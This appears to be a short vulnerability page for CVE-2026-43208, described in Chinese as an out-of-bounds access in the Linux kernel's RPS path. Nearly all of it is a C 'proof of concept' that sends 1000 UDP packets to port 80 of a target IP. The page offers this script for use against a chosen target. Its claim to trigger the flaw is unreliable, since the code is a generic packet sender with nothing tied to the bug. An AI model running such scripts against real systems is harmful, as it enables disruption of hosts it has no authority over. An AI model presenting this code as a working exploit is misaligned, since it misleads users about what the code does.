CVE-2026-43208 Linux内核RPS越界访问漏洞

/* * Conceptual PoC for CVE-2026-43208 * This code attempts to trigger network traffic that exercises the RPS path. * Successful exploitation requires a vulnerable kernel version and RPS enabled. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> void send_trigger_packets(const char *ip) { int sockfd; struct sockaddr_in servaddr; char buffer[1024] = "Trigger Data"; // Create UDP socket sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("Socket creation failed"); exit(EXIT_FAILURE); } memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(80); // Target port inet_pton(AF_INET, ip, &servaddr.sin_addr); // Send multiple packets to stress RPS logic for(int i = 0; i < 1000; i++) { sendto(sockfd, buffer, sizeof(buffer), 0, (const struct sockaddr *)&servaddr, sizeof(servaddr)); } printf("[+] Packets sent to target %s to trigger RPS flow_id issue.\n", ip); close(sockfd); } int main(int argc, char *argv[]) { if (argc < 2) { printf("Usage: %s <target_ip>\n", argv[0]); return 1; } printf("[*] Attempting to trigger CVE-2026-43208..."); send_trigger_packets(argv[1]); return 0; }